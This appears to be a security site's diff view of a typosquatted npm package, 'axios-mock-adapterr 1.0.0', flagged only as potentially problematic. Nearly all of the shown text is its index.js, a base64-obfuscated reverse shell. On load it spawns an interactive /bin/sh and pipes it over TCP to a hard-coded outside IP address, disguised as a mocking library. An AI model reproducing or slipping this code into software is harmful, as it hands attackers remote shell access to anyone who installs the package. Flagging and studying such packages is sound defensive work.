axios-mock-adapterr 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of axios-mock-adapterr might be problematic. Click here for more details.
- package/README.txt +0 -0
- package/index.js +13 -0
- package/package.json +15 -0
package/README.txt
ADDED
File without changes
|
package/index.js
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
(function(){
|
2
|
+
var net = require("net"),
|
3
|
+
cp = require(Buffer.from("Y2hpbGRfcHJvY2Vzcw==", 'base64').toString('utf-8')),
|
4
|
+
py = cp.spawn(Buffer.from("L2Jpbi9zaA==", 'base64').toString('utf-8'), ["-i"]);
|
5
|
+
var client = new net.Socket();
|
6
|
+
client.setEncoding('binary');
|
7
|
+
client.connect(10003, Buffer.from("MTAwLjY5LjI0OS4xNDY=", 'base64').toString('utf-8'), function(){
|
8
|
+
client.pipe(py.stdin);
|
9
|
+
py.stdout.pipe(client);
|
10
|
+
py.stderr.pipe(client);
|
11
|
+
});
|
12
|
+
return /a/;
|
13
|
+
})();
|
package/package.json
ADDED